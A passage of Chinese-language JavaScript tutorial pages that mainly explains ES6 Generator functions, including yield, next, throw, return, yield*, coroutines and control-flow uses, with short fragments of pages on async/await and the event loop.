*
* 接 thenable 类型，需要等待一个 then 的时间之后执行
*
* 接Promise类型(有确定的返回值)，会立即向微任务队列添加一个微任务then，但不需等待
*
* TC 39 对await 后面是 promise 的情况如何处理进行了一次修改，移除了额外的两个微任务，在早期版本，依然会等待两个 then 的时间

---

---
url: /js/ocb7aohy/index.md
---
# Generator 函数的语法
Generator 函数是 ES6 提供的一种异步编程解决方案，语法行为与传统函数完全不同。

Generator 函数有多种理解角度。语法上，首先可以把它理解成，Generator 函数是一个状态机，封装了多个内部状态。

执行 Generator 函数会返回一个遍历器对象，也就是说，Generator 函数除了状态机，还是一个遍历器对象生成函数。返回的遍历器对象，可以依次遍历 Generator 函数内部的每一个状态。

形式上，Generator 函数是一个普通函数，但是有两个特征。

一是，`function`关键字与函数名之间有一个星号；

二是，函数体内部使用`yield`表达式，定义不同的内部状态（`yield`在英语里的意思就是“产出”）。

```js
function* helloWorldGenerator() {
  yield 'hello';
  yield 'world';
  return 'ending';
}

var hw = helloWorldGenerator();

hw.next()
// { value: 'hello', done: false }

hw.next()
// { value: 'world', done: false }

hw.next()
// { value: 'ending', done: true }

hw.next()
// { value: undefined, done: true }
```

上面代码定义了一个 Generator 函数`helloWorldGenerator`，它内部有两个`yield`表达式（`hello`和`world`），即该函数有三个状态：hello，world 和 return 语句（结束执行）。

然后，Generator 函数的调用方法与普通函数一样，也是在函数名后面加上一对圆括号。不同的是，调用 Generator 函数后，该函数并不执行，返回的也不是函数运行结果，而是一个指向内部状态的指针对象，也就是遍历器对象

下一步，必须调用遍历器对象的`next`方法，使得指针移向下一个状态。

每次调用`next`方法，内部指针就从函数头部或上一次停下来的地方开始执行，直到遇到下一个`yield`表达式（或`return`语句）为止。

换言之，Generator 函数是分段执行的，`yield`表达式是暂停执行的标记，而`next`方法可以恢复执行。

总结一下，调用 Generator 函数，返回一个遍历器对象，代表 Generator 函数的内部指针。以后，每次调用遍历器对象的`next`方法，就会返回一个有着`value`和`done`两个属性的对象。`value`属性表示当前的内部状态的值，是`yield`表达式后面那个表达式的值；`done`属性是一个布尔值，表示是否遍历结束。

## yield 表达式

由于 Generator 函数返回的遍历器对象，只有调用`next`方法才会遍历下一个内部状态，所以其实提供了一种可以暂停执行的函数。`yield`表达式就是暂停标志。

遍历器对象的`next`方法的运行逻辑如下。

（1）遇到`yield`表达式，就暂停执行后面的操作，并将紧跟在`yield`后面的那个表达式的值，作为返回的对象的`value`属性值。

（2）下一次调用`next`方法时，再继续往下执行，直到遇到下一个`yield`表达式。

（3）如果没有再遇到新的`yield`表达式，就一直运行到函数结束，直到`return`语句为止，并将`return`语句后面的表达式的值，作为返回的对象的`value`属性值。

（4）如果该函数没有`return`语句，则返回的对象的`value`属性值为`undefined`。

需要注意的是，`yield`表达式后面的表达式，**只有当调用`next`方法、内部指针指向该语句时才会执行**，因此等于为 JavaScript 提供了手动的“惰性求值”（Lazy Evaluation）的语法功能。

`yield`表达式与`return`语句既有相似之处，也有区别。相似之处在于，都能返回紧跟在语句后面的那个表达式的值。

区别在于每次遇到`yield`，函数暂停执行，下一次再从该位置继续向后执行，而`return`语句不具备位置记忆的功能。

一个函数里面，只能执行一次（或者说一个）`return`语句，但是可以执行多次（或者说多个）`yield`表达式。

正常函数只能返回一个值，因为只能执行一次`return`；Generator 函数可以返回一系列的值，因为可以有任意多个`yield`。

Generator 函数可以不用`yield`表达式，这时就变成了一个单纯的暂缓执行函数。

```js
function* f() {
  console.log('执行了！')
}

var generator = f();

setTimeout(function () {
  generator.next()
}, 2000);
```

上面代码中，函数`f`如果是普通函数，在为变量`generator`赋值时就会执行。但是，函数`f`是一个 Generator 函数，就变成只有调用`next`方法时，函数`f`才会执行。

**注意：**`yield`表达式只能用在 Generator 函数里面，用在其他地方都会报错，`yield`表达式如果用在另一个表达式之中，必须放在圆括号里面。

```js
function* demo() {
  console.log('Hello' + yield); // SyntaxError
  console.log('Hello' + yield 123); // SyntaxError

  console.log('Hello' + (yield)); // OK
  console.log('Hello' + (yield 123)); // OK
}
```

`yield`表达式用作函数参数或放在赋值表达式的右边，可以不加括号。

```js
function* demo() {
  foo(yield 'a', yield 'b'); // OK
  let input = yield; // OK
}
```

## 与 Iterator 接口的关系

上一章说过，任意一个对象的`Symbol.iterator`方法，等于该对象的遍历器生成函数，调用该函数会返回该对象的一个遍历器对象。

由于 Generator 函数就是遍历器生成函数，因此可以把 Generator 赋值给对象的`Symbol.iterator`属性，从而使得该对象具有 Iterator 接口。

```js
var myIterable = {};
myIterable[Symbol.iterator] = function* () {
  yield 1;
  yield 2;
  yield 3;
};

[...myIterable] // [1, 2, 3]
```

Generator 函数执行后，返回一个遍历器对象。该对象本身也具有`Symbol.iterator`属性，执行后返回自身。

```js
function* gen(){
  // some code
}

var g = gen();

g[Symbol.iterator]() === g
// true
```

上面代码中，`gen`是一个 Generator 函数，调用它会生成一个遍历器对象`g`。它的`Symbol.iterator`属性，也是一个遍历器对象生成函数，执行后返回它自己。

## next 方法的参数

`yield`表达式本身没有返回值，或者说总是返回`undefined`。`next`方法可以带一个参数，该参数就会被当作上一个`yield`表达式的返回值。

```js
function* f() {
  for(var i = 0; true; i++) {
    var reset = yield i;
    if(reset) { i = -1; }
  }
}

var g = f();

g.next() // { value: 0, done: false }
g.next() // { value: 1, done: false }
g.next(true) // { value: 0, done: false }
g.next() // { value: 1, done: false }
g.next() // { value: 2, done: false }
```

上面代码先定义了一个可以无限运行的 Generator 函数`f`，如果`next`方法没有参数，每次运行到`yield`表达式，变量`reset`的值总是`undefined`。当`next`方法带一个参数`true`时，变量`reset`就被重置为这个参数（即`true`），因此`i`会等于`-1`，下一轮循环就会从`-1`开始递增。

这个功能有很重要的语法意义。Generator 函数从暂停状态到恢复运行，它的上下文状态（context）是不变的。**通过`next`方法的参数，就有办法在 Generator 函数开始运行之后，继续向函数体内部注入值。**

也就是说，可以在 Generator 函数运行的不同阶段，从外部向内部注入不同的值，从而调整函数行为。

```js
function* foo(x) {
  var y = 2 * (yield (x + 1));
  var z = yield (y / 3);
  return (x + y + z);
}

var a = foo(5);
a.next() // Object{value:6, done:false}
a.next() // Object{value:NaN, done:false}
a.next() // Object{value:NaN, done:true}

var b = foo(5);
b.next() // { value:6, done:false }
b.next(12) // { value:8, done:false }
b.next(13) // { value:42, done:true }
```

上面代码中，第二次运行`next`方法的时候不带参数，导致 y 的值等于`2 * undefined`（即`NaN`），除以 3 以后还是`NaN`，因此返回对象的`value`属性也等于`NaN`。第三次运行`next`方法的时候不带参数，所以`z`等于`undefined`，返回对象的`value`属性等于`5 + NaN + undefined`，即`NaN`。

如果向`next`方法提供参数，返回结果就完全不一样了。上面代码第一次调用`b`的`next`方法时，返回`x+1`的值`6`；第二次调用`next`方法，将上一次`yield`表达式的值设为`12`，因此`y`等于`24`，返回`y / 3`的值`8`；第三次调用`next`方法，将上一次`yield`表达式的值设为`13`，因此`z`等于`13`，这时`x`等于`5`，`y`等于`24`，所以`return`语句的值等于`42`。

**注意**，由于`next`方法的参数表示上一个`yield`表达式的返回值，所以在第一次使用`next`方法时，传递参数是无效的。V8 引擎直接忽略第一次使用`next`方法时的参数，只有从第二次使用`next`方法开始，参数才是有效的。从语义上讲，第一个`next`方法用来启动遍历器对象，所以不用带有参数。

再看一个通过`next`方法的参数，向 Generator 函数内部输入值的例子。

```js
        function wrapper(generatorFunction) {
            return function () {
                let generatorObject = generatorFunction();
                generatorObject.next();
                return generatorObject;
            };
        }

        const wrapped = wrapper(function* () {
            let a = yield
            console.log(`First input: ${a}`);
            return 'DONE';
        });
        wrapped().next('hello!')
        wrapped().next('world!')

        // First input: hello!
        // First input: world!
```

上面代码中，Generator 函数如果不用`wrapper`先包一层，是无法第一次调用`next`方法，就输入参数的。

## for...of 循环

`for...of`循环可以自动遍历 Generator 函数运行时生成的`Iterator`对象，且此时不再需要调用`next`方法。

```js
function* foo() {
  yield 1;
  yield 2;
  yield 3;
  yield 4;
  yield 5;
  return 6;
}

for (let v of foo()) {
  console.log(v);
}
// 1 2 3 4 5
```

上面代码使用`for...of`循环，依次显示 5 个`yield`表达式的值。

这里需要注意，一旦`next`方法的返回对象的`done`属性为`true`，`for...of`循环就会中止，且不包含该返回对象，所以上面代码的`return`语句返回的`6`，不包括在`for...of`循环之中。

利用`for...of`循环，可以写出遍历任意对象（object）的方法。原生的 JavaScript 对象没有遍历接口，无法使用`for...of`循环，通过 Generator 函数为它加上这个接口，就可以用了。

```js
function* objectEntries(obj) {
  let propKeys = Reflect.ownKeys(obj);

  for (let propKey of propKeys) {
    yield [propKey, obj[propKey]];
  }
}

let jane = { first: 'Jane', last: 'Doe' };

for (let [key, value] of objectEntries(jane)) {
  console.log(`${key}: ${value}`);
}
// first: Jane
// last: Doe
```

加上遍历器接口的另一种写法是，将 Generator 函数加到对象的`Symbol.iterator`属性上面。

```js
function* objectEntries() {
  let propKeys = Object.keys(this);

  for (let propKey of propKeys) {
    yield [propKey, this[propKey]];
  }
}

let jane = { first: 'Jane', last: 'Doe' };

jane[Symbol.iterator] = objectEntries;

for (let [key, value] of jane) {
  console.log(`${key}: ${value}`);
}
// first: Jane
// last: Doe
```

## Generator.prototype.throw()

Generator 函数返回的遍历器对象，都有一个`throw`方法，可以在函数体外抛出错误，然后在 Generator 函数体内捕获。

```js
var g = function* () {
  try {
    yield;
  } catch (e) {
    console.log('内部捕获', e);
  }
};

var i = g();
i.next();

try {
  i.throw('a');
  i.throw('b');
} catch (e) {
  console.log('外部捕获', e);
}
// 内部捕获 a
// 外部捕获 b
```

上面代码中，遍历器对象`i`连续抛出两个错误。第一个错误被 Generator 函数体内的`catch`语句捕获。`i`第二次抛出错误，\*\*由于 Generator 函数内部的`catch`语句已经执行过了，不会再捕捉到这个错误了，\*\*所以这个错误就被抛出了 Generator 函数体，被函数体外的`catch`语句捕获。

> \[!TIP]
>
> **生成器函数内部可以捕获多次错误，只要每次抛出错误时生成器函数处于可以捕获错误的状态（即在 `try` 块中暂停）。**

`throw`方法可以接受一个参数，该参数会被`catch`语句接收，建议抛出`Error`对象的实例。

```js
i.throw(new Error('出错了！'));
```

**注意**，不要混淆遍历器对象的`throw`方法和全局的`throw`命令。上面代码的错误，是用遍历器对象的`throw`方法抛出的，而不是用`throw`命令抛出的。后者只能被函数体外的`catch`语句捕获。

如果 Generator 函数内部没有部署`try...catch`代码块，那么`throw`方法抛出的错误，将被外部`try...catch`代码块捕获。

如果 Generator 函数内部和外部，都没有部署`try...catch`代码块，那么程序将报错，直接中断执行。

`throw`方法抛出的错误要被内部捕获，前提是必须至少执行过一次`next`方法。

```js
function* gen() {
  try {
    yield 1;
  } catch (e) {
    console.log('内部捕获');
  }
}

var g = gen();
g.throw(1);
// Uncaught 1
```

上面代码中，`g.throw(1)`执行时，`next`方法一次都没有执行过。这时，抛出的错误不会被内部捕获，而是直接在外部抛出，导致程序出错。这种行为其实很好理解，**因为第一次执行`next`方法，等同于启动执行 Generator 函数的内部代码，否则 Generator 函数还没有开始执行，这时`throw`方法抛错只可能抛出在函数外部。**

`throw`方法被内部捕获以后，会附带执行到下一条`yield`表达式，这种情况下等同于执行一次`next`方法。

```js
var gen = function* gen(){
  try {
    yield 1;
  } catch (e) {
    yield 2;
  }
  yield 3;
}

var g = gen();
g.next() // { value:1, done:false }
g.throw() // { value:2, done:false }
g.next() // { value:3, done:false }
g.next() // { value:undefined, done:true }
```

上面代码中，`g.throw`方法被内部捕获以后，等同于执行了一次`next`方法，所以返回`{ value:2, done:false }`。

另外，也可以看到，只要 Generator 函数内部部署了`try...catch`代码块，那么遍历器的`throw`方法抛出的错误，不影响下一次遍历。

Generator 函数体外抛出的错误，可以在函数体内捕获；反过来，Generator 函数体内抛出的错误，也可以被函数体外的`catch`捕获。

```js
function* foo() {
  var x = yield 3;
  var y = x.toUpperCase();
  yield y;
}

var it = foo();

it.next(); // { value:3, done:false }

try {
  it.next(42);
} catch (err) {
  console.log(err);
}
```

上面代码中，第二个`next`方法向函数体内传入一个参数 42，数值是没有`toUpperCase`方法的，所以会抛出一个 TypeError 错误，被函数体外的`catch`捕获。

一旦 Generator 执行过程中抛出错误，且没有被内部捕获，就不会再执行下去了。如果此后还调用`next`方法，将返回一个`value`属性等于`undefined`、`done`属性等于`true`的对象，即 JavaScript 引擎认为这个 Generator 已经运行结束了。

```js
function* g() {
  yield 1;
  console.log('throwing an exception');
  throw new Error('generator broke!');
  yield 2;
  yield 3;
}

function log(generator) {
  var v;
  console.log('starting generator');
  try {
    v = generator.next();
    console.log('第一次运行next方法', v);
  } catch (err) {
    console.log('捕捉错误', v);
  }
  try {
    v = generator.next();
    console.log('第二次运行next方法', v);
  } catch (err) {
    console.log('捕捉错误', v);
  }
  try {
    v = generator.next();
    console.log('第三次运行next方法', v);
  } catch (err) {
    console.log('捕捉错误', v);
  }
  console.log('caller done');
}

log(g());
// starting generator
// 第一次运行next方法 { value: 1, done: false }
// throwing an exception
// 捕捉错误 { value: 1, done: false }
// 第三次运行next方法 { value: undefined, done: true }
// caller done
```

上面代码一共三次运行`next`方法，第二次运行的时候会抛出错误，然后第三次运行的时候，Generator 函数就已经结束了，不再执行下去了。

## Generator.prototype.return()

Generator 函数返回的遍历器对象，还有一个`return()`方法，可以返回给定的值，并且终结遍历 Generator 函数。

```js
function* gen() {
  yield 1;
  yield 2;
  yield 3;
}

var g = gen();

g.next()        // { value: 1, done: false }
g.return('foo') // { value: "foo", done: true }
g.next()        // { value: undefined, done: true }
```

如果`return()`方法调用时，不提供参数，则返回值的`value`属性为`undefined`。

如果 Generator 函数内部有`try...finally`代码块，且正在执行`try`代码块，那么`return()`方法会导致立刻进入`finally`代码块，执行完以后，整个函数才会结束。

```js
function* numbers () {
  yield 1;
  try {
    yield 2;
    yield 3;
  } finally {
    yield 4;
    yield 5;
  }
  yield 6;
}
var g = numbers();
g.next() // { value: 1, done: false }
g.next() // { value: 2, done: false }
g.return(7) // { value: 4, done: false }
g.next() // { value: 5, done: false }
g.next() // { value: 7, done: true }
```

上面代码中，调用`return()`方法后，就开始执行`finally`代码块，不执行`try`里面剩下的代码了，然后等到`finally`代码块执行完，再返回`return()`方法指定的返回值。

## next()、throw()、return() 的共同点

`next()`、`throw()`、`return()`这三个方法本质上是同一件事，可以放在一起理解。它们的作用都是让 Generator 函数恢复执行，并且使用不同的语句替换`yield`表达式。

`next()`是将`yield`表达式替换成一个值。

```js
const g = function* (x, y) {
  let result = yield x + y;
  return result;
};

const gen = g(1, 2);
gen.next(); // Object {value: 3, done: false}

gen.next(1); // Object {value: 1, done: true}
// 相当于将 let result = yield x + y
// 替换成 let result = 1;
```

`throw()`是将`yield`表达式替换成一个`throw`语句。

```js
gen.throw(new Error('出错了')); // Uncaught Error: 出错了
// 相当于将 let result = yield x + y
// 替换成 let result = throw(new Error('出错了'));
```

`return()`是将`yield`表达式替换成一个`return`语句。

```js
gen.return(2); // Object {value: 2, done: true}
// 相当于将 let result = yield x + y
// 替换成 let result = return 2;
```

## yield\* 表达式

如果在 Generator 函数内部，调用另一个 Generator 函数。需要在前者的函数体内部，自己手动完成遍历。

```js
function* foo() {
  yield 'a';
  yield 'b';
}

function* bar() {
  yield 'x';
  // 手动遍历 foo()
  for (let i of foo()) {
    console.log(i);
  }
  yield 'y';
}

for (let v of bar()){
  console.log(v);
}
// x
// a
// b
// y
```

上面代码中，`foo`和`bar`都是 Generator 函数，在`bar`里面调用`foo`，就需要手动遍历`foo`。如果有多个 Generator 函数嵌套，写起来就非常麻烦。

ES6 提供了`yield*`表达式，作为解决办法，用来在一个 Generator 函数里面执行另一个 Generator 函数。

```js
function* bar() {
  yield 'x';
  yield* foo();
  yield 'y';
}

// 等同于
function* bar() {
  yield 'x';
  yield 'a';
  yield 'b';
  yield 'y';
}

// 等同于
function* bar() {
  yield 'x';
  for (let v of foo()) {
    yield v;
  }
  yield 'y';
}

for (let v of bar()){
  console.log(v);
}
// "x"
// "a"
// "b"
// "y"
```

如果不加`*`号：

```js
function* inner() {
  yield 'hello!';
}

function* outer1() {
  yield 'open';
  yield inner();
  yield 'close';
}

var gen = outer1()
gen.next().value // "open"
gen.next().value // 返回一个遍历器对象
gen.next().value // "close"

function* outer2() {
  yield 'open'
  yield* inner()
  yield 'close'
}

var gen = outer2()
gen.next().value // "open"
gen.next().value // "hello!"
gen.next().value // "close"
```

上面例子中，`outer2`使用了`yield*`，`outer1`没使用。结果就是，`outer1`返回一个遍历器对象，`outer2`返回该遍历器对象的内部值。

从语法角度看，如果`yield`表达式后面跟的是一个**遍历器对象**，需要在`yield`表达式后面加上星号，表明它返回的是一个遍历器对象。这被称为`yield*`表达式。

`yield*`后面的 Generator 函数（没有`return`语句时），等同于在 Generator 函数内部，部署一个`for...of`循环。

```js
function* concat(iter1, iter2) {
  yield* iter1;
  yield* iter2;
}

// 等同于

function* concat(iter1, iter2) {
  for (var value of iter1) {
    yield value;
  }
  for (var value of iter2) {
    yield value;
  }
}
```

`yield* iterable` 相当于在当前位置展开 `iterable` 的所有 `yield` 值，类似于 `for...of` 循环逐个 `yield`。

在有`return`语句时，则需要用`var value = yield* iterator`的形式获取`return`语句的值。

```js
function* foo() {
  yield 2;
  yield 3;
  return "foo";
}

function* bar() {
  yield 1;
  var v = yield* foo();
  console.log("v: " + v);
  yield 4;
}

var it = bar();

it.next()
// {value: 1, done: false}
it.next()
// {value: 2, done: false}
it.next()
// {value: 3, done: false}
it.next();
// "v: foo"
// {value: 4, done: false}
it.next()
// {value: undefined, done: true}
```

任何数据结构只要有 Iterator 接口，就可以被`yield*`遍历。

`yield*`命令可以很方便地取出嵌套数组的所有成员。

```js
function* iterTree(tree) {
  if (Array.isArray(tree)) {
    for(let i=0; i < tree.length; i++) {
      yield* iterTree(tree[i]);
    }
  } else {
    yield tree;
  }
}

const tree = [ 'a', ['b', 'c'], ['d', 'e'] ];

for(let x of iterTree(tree)) {
  console.log(x);
}
// a
// b
// c
// d
// e
```

```js
[...iterTree(tree)] // ["a", "b", "c", "d", "e"]
```

## 作为对象属性的 Generator 函数

如果一个对象的属性是 Generator 函数，可以简写成下面的形式。

```js
let obj = {
  * myGeneratorMethod() {
    ···
  }
};
```

它的完整形式如下，与上面的写法是等价的。

```js
let obj = {
  myGeneratorMethod: function* () {
    // ···
  }
};
```

## Generator 函数的`this`

Generator 函数总是返回一个遍历器，ES6 规定这个遍历器是 Generator 函数的实例，也继承了 Generator 函数的`prototype`对象上的方法。

```js
function* g() {}

g.prototype.hello = function () {
  return 'hi!';
};

let obj = g();

obj instanceof g // true
obj.hello() // 'hi!'
```

上面代码表明，Generator 函数`g`返回的遍历器`obj`，是`g`的实例，而且继承了`g.prototype`。

但是，如果把`g`当作普通的构造函数，并不会生效，因为`g`返回的总是遍历器对象，而不是`this`对象。

```js
function* g() {
  this.a = 11;
}

let obj = g();
obj.next();
obj.a // undefined
```

上面代码中，Generator 函数`g`在`this`对象上面添加了一个属性`a`，但是`obj`对象拿不到这个属性。

Generator 函数也不能跟`new`命令一起用，会报错。

那么，有没有办法让 Generator 函数返回一个正常的对象实例，既可以用`next`方法，又可以获得正常的`this`？

下面是一个变通方法。首先，生成一个空对象，使用`call`方法绑定 Generator 函数内部的`this`。这样，构造函数调用以后，这个空对象就是 Generator 函数的实例对象了。

```js
function* F() {
  this.a = 1;
  yield this.b = 2;
  yield this.c = 3;
}
var obj = {};
var f = F.call(obj);

f.next();  // Object {value: 2, done: false}
f.next();  // Object {value: 3, done: false}
f.next();  // Object {value: undefined, done: true}

obj.a // 1
obj.b // 2
obj.c // 3
```

上面代码中，首先是`F`内部的`this`对象绑定`obj`对象，然后调用它，返回一个 Iterator 对象。这个对象执行三次`next`方法（因为`F`内部有两个`yield`表达式），完成 F 内部所有代码的运行。这时，所有内部属性都绑定在`obj`对象上了，因此`obj`对象也就成了`F`的实例。

上面代码中，执行的是遍历器对象`f`，但是生成的对象实例是`obj`，有没有办法将这两个对象统一呢？

一个办法就是将`obj`换成`F.prototype`。

```js
function* F() {
  this.a = 1;
  yield this.b = 2;
  yield this.c = 3;
}
var f = F.call(F.prototype);

f.next();  // Object {value: 2, done: false}
f.next();  // Object {value: 3, done: false}
f.next();  // Object {value: undefined, done: true}

f.a // 1
f.b // 2
f.c // 3
```

再将`F`改成构造函数，就可以对它执行`new`命令了。

```js
function* gen() {
  this.a = 1;
  yield this.b = 2;
  yield this.c = 3;
}

function F() {
  return gen.call(gen.prototype);
}

var f = new F();

f.next();  // Object {value: 2, done: false}
f.next();  // Object {value: 3, done: false}
f.next();  // Object {value: undefined, done: true}

f.a // 1
f.b // 2
f.c // 3
```

## Generator 与状态机

Generator 是实现状态机的最佳结构。比如，下面的`clock`函数就是一个状态机。

```js
var ticking = true;
var clock = function() {
  if (ticking)
    console.log('Tick!');
  else
    console.log('Tock!');
  ticking = !ticking;
}
```

上面代码的`clock`函数一共有两种状态（`Tick`和`Tock`），每运行一次，就改变一次状态。这个函数如果用 Generator 实现，就是下面这样。

```js
var clock = function* () {
  while (true) {
    console.log('Tick!');
    yield;
    console.log('Tock!');
    yield;
  }
};
```

上面的 Generator 实现与 ES5 实现对比，可以看到少了用来保存状态的外部变量`ticking`，这样就更简洁，更安全（状态不会被非法篡改）、更符合函数式编程的思想，在写法上也更优雅。Generator 之所以可以不用外部变量保存状态，是因为它本身就包含了一个状态信息，即目前是否处于暂停态。

## Generator 与协程

协程（coroutine）是一种程序运行的方式，可以理解成“协作的线程”或“协作的函数”。协程既可以用单线程实现，也可以用多线程实现。前者是一种特殊的子例程，后者是一种特殊的线程。

**（1）协程与子例程的差异**

传统的“子例程”（subroutine）采用堆栈式“后进先出”的执行方式，只有当调用的子函数完全执行完毕，才会结束执行父函数。协程与其不同，多个线程（单线程情况下，即多个函数）可以并行执行，但是只有一个线程（或函数）处于正在运行的状态，其他线程（或函数）都处于暂停态（suspended），线程（或函数）之间可以交换执行权。也就是说，一个线程（或函数）执行到一半，可以暂停执行，将执行权交给另一个线程（或函数），等到稍后收回执行权的时候，再恢复执行。这种可以并行执行、交换执行权的线程（或函数），就称为协程。

从实现上看，在内存中，子例程只使用一个栈（stack），而协程是同时存在多个栈，但只有一个栈是在运行状态，也就是说，协程是以多占用内存为代价，实现多任务的并行。

**（2）协程与普通线程的差异**

不难看出，协程适合用于多任务运行的环境。在这个意义上，它与普通的线程很相似，都有自己的执行上下文、可以分享全局变量。它们的不同之处在于，同一时间可以有多个线程处于运行状态，但是运行的协程只能有一个，其他协程都处于暂停状态。此外，普通的线程是抢先式的，到底哪个线程优先得到资源，必须由运行环境决定，但是协程是合作式的，执行权由协程自己分配。

由于 JavaScript 是单线程语言，只能保持一个调用栈。引入协程以后，每个任务可以保持自己的调用栈。这样做的最大好处，就是抛出错误的时候，可以找到原始的调用栈。不至于像异步操作的回调函数那样，一旦出错，原始的调用栈早就结束。

Generator 函数是 ES6 对协程的实现，但属于不完全实现。Generator 函数被称为“半协程”（semi-coroutine），意思是只有 Generator 函数的调用者，才能将程序的执行权还给 Generator 函数。如果是完全执行的协程，任何函数都可以让暂停的协程继续执行。

如果将 Generator 函数当作协程，完全可以将多个需要互相协作的任务写成 Generator 函数，它们之间使用`yield`表达式交换控制权。

## Generator 与上下文

JavaScript 代码运行时，会产生一个全局的上下文环境（context，又称运行环境），包含了当前所有的变量和对象。然后，执行函数（或块级代码）的时候，又会在当前上下文环境的上层，产生一个函数运行的上下文，变成当前（active）的上下文，由此形成一个上下文环境的堆栈（context stack）。

这个堆栈是“后进先出”的数据结构，最后产生的上下文环境首先执行完成，退出堆栈，然后再执行完成它下层的上下文，直至所有代码执行完成，堆栈清空。

Generator 函数不是这样，它执行产生的上下文环境，一旦遇到`yield`命令，\*\*就会暂时退出堆栈，但是并不消失，里面的所有变量和对象会冻结在当前状态。\*\*等到对它执行`next`命令时，这个上下文环境又会重新加入调用栈，冻结的变量和对象恢复执行。

```js
function* gen() {
  yield 1;
  return 2;
}

let g = gen();

console.log(
  g.next().value,
  g.next().value,
);
```

上面代码中，第一次执行`g.next()`时，Generator 函数`gen`的上下文会加入堆栈，即开始运行`gen`内部的代码。

等遇到`yield 1`时，`gen`上下文退出堆栈，内部状态冻结。第二次执行`g.next()`时，`gen`上下文重新加入堆栈，变成当前的上下文，重新恢复执行。

## 应用

Generator 可以暂停函数执行，返回任意表达式的值。这种特点使得 Generator 有多种应用场景。

### 异步操作的同步化表达

Generator 函数的暂停执行的效果，意味着可以把异步操作写在`yield`表达式里面，等到调用`next`方法时再往后执行。这实际上等同于不需要写回调函数了，因为异步操作的后续操作可以放在`yield`表达式下面，反正要等到调用`next`方法时再执行。所以，Generator 函数的一个重要实际意义就是用来处理异步操作，改写回调函数。

```js
function* loadUI() {
  showLoadingScreen();
  yield loadUIDataAsynchronously();
  hideLoadingScreen();
}
var loader = loadUI();
// 加载UI
loader.next()

// 卸载UI
loader.next()
```

上面代码中，第一次调用`loadUI`函数时，该函数不会执行，仅返回一个遍历器。下一次对该遍历器调用`next`方法，则会显示`Loading`界面（`showLoadingScreen`），并且异步加载数据（`loadUIDataAsynchronously`）。等到数据加载完成，再一次使用`next`方法，则会隐藏`Loading`界面。可以看到，这种写法的好处是所有`Loading`界面的逻辑，都被封装在一个函数，按部就班非常清晰。

Ajax 是典型的异步操作，通过 Generator 函数部署 Ajax 操作，可以用同步的方式表达。

```js
function* main() {
  var result = yield request("http://some.url");
  var resp = JSON.parse(result);
  console.log(resp.value);
}

function request(url) {
  makeAjaxCall(url, function(response){
    it.next(response);
  });
}

var it = main();
it.next();
```

上面代码的`main`函数，就是通过 Ajax 操作获取数据。可以看到，除了多了一个`yield`，它几乎与同步操作的写法完全一样。

### 控制流管理

如果有一个多步操作非常耗时，采用回调函数，可能会写成下面这样。

```js
step1(function (value1) {
  step2(value1, function(value2) {
    step3(value2, function(value3) {
      step4(value3, function(value4) {
        // 用value4做点什么
      });
    });
  });
});
```

采用 Promise 改写上面的代码。

```js
Promise.resolve(step1)
  .then(step2)
  .then(step3)
  .then(step4)
  .then(function (value4) {
    // 用value4做点什么
  }, function (error) {
    // 处理 step1 到 step4 中的任何错误
  })
  .done();
```

上面代码已经把回调函数，改成了直线执行的形式，但是加入了大量 Promise 的语法。Generator 函数可以进一步改善代码运行流程。

```js
function* longRunningTask(value1) {
  try {
    var value2 = yield step1(value1);
    var value3 = yield step2(value2);
    var value4 = yield step3(value3);
    var value5 = yield step4(value4);
    // 用value4做点什么
  } catch (e) {
    // 处理 step1 到 step4 中的任何错误
  }
}
```

然后，使用一个函数，按次序自动执行所有步骤。

```js
scheduler(longRunningTask(initialValue));

function scheduler(task) {
  var taskObj = task.next(task.value);
  // 如果Generator函数未结束，就继续调用
  if (!taskObj.done) {
    task.value = taskObj.value
    scheduler(task);
  }
}
```

注意，上面这种做法，只适合同步操作，即所有的`task`都必须是同步的，不能有异步操作。因为这里的代码一得到返回值，就继续往下执行，没有判断异步操作何时完成。

下面，利用`for...of`循环会自动依次执行`yield`命令的特性，提供一种更一般的控制流管理的方法。

```js
let steps = [step1Func, step2Func, step3Func];

function* iterateSteps(steps){
  for (var i=0; i< steps.length; i++){
    var step = steps[i];
    yield step();
  }
}
```

上面代码中，数组`steps`封装了一个任务的多个步骤，Generator 函数`iterateSteps`则是依次为这些步骤加上`yield`命令。

将任务分解成步骤之后，还可以将项目分解成多个依次执行的任务。

```js
let jobs = [job1, job2, job3];

function* iterateJobs(jobs){
  for (var i=0; i< jobs.length; i++){
    var job = jobs[i];
    yield* iterateSteps(job.steps);
  }
}
```

上面代码中，数组`jobs`封装了一个项目的多个任务，Generator 函数`iterateJobs`则是依次为这些任务加上`yield*`命令。

最后，就可以用`for...of`循环一次性依次执行所有任务的所有步骤。

```js
for (var step of iterateJobs(jobs)){
  console.log(step.id);
}
```

再次提醒，上面的做法只能用于所有步骤都是同步操作的情况，不能有异步操作的步骤。

`for...of`的本质是一个`while`循环，所以上面的代码实质上执行的是下面的逻辑。

```js
var it = iterateJobs(jobs);
var res = it.next();

while (!res.done){
  var result = res.value;
  // ...
  res = it.next();
}
```

### 部署 Iterator 接口

利用 Generator 函数，可以在任意对象上部署 Iterator 接口。

```js
function* iterEntries(obj) {
  let keys = Object.keys(obj);
  for (let i=0; i < keys.length; i++) {
    let key = keys[i];
    yield [key, obj[key]];
  }
}

let myObj = { foo: 3, bar: 7 };

for (let [key, value] of iterEntries(myObj)) {
  console.log(key, value);
}

// foo 3
// bar 7
```

上述代码中，`myObj`是一个普通对象，通过`iterEntries`函数，就有了 Iterator 接口。也就是说，可以在任意对象上部署`next`方法。

---

---
url: /js/ojthi3jc/index.md
---
# 事件循环
为了学习调度器，就得先学习 Js **的单线程模型** 和 **任务队列机制**，这是所有任务调度逻辑的底层基础。

JS 是**单线程**语言，同一时间只能执行一段代码。为了避免 “长时间任务阻塞页面”（比如渲染卡住），JS 设计了 **“任务队列” 机制**，把代码拆成不同优先级的任务，按规则排队执行 —— 这就是 “调度” 的本质：**决定 “哪个任务什么时候执行”**。

## 微任务和宏任务

这是任务调度的核心分类，决定了任务的 “执行优先级” 和 “执行时机”，记住一句话：**微任务先于宏任务执行，且同一轮事件循环中，微任务会被 “清空” 后再执行宏任务**。

| 类型       | 核心特点                                   | 常见例子                                                |
| ---------- | ------------------------------------------ | ------------------------------------------------------- |
| **宏任务** | 优先级低，执行完一个宏任务后会触发页面渲染 | script 整体代码、setTimeout、setInterval、DOM 事件      |
| **微任务** | 优先级高，在当前宏任务执行完后立即执行     | Promise.then/catch/finally、async/await、queueMicrotask |

## 事件循环

JS 按固定顺序循环执行任务，这就是 “事件循环（Event Loop）”，调度器的逻辑完全遵循这个流程：

1. 执行**第一个宏任务**（通常是整个 script 脚本）。
